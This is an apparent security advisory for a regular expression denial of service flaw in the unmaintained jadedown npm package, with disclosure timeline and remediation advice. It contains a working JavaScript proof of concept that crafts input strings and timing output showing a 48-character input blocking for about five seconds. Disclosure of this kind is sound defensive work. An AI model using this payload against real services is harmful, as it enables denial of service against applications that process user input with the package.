jadedown

Regular Expression Denial of Service

Severity: low

Overview

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Remediation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

Vulnerable versions

0.0.1
7 years ago
0.0.2
7 years ago
0.0.3
7 years ago

Unaffected versions

Advisory timeline

  1. Published

    Advisory published
    Jan 5th, 2016
  2. Reported

    Initial report by Adam Baldwin
    Oct 25th, 2015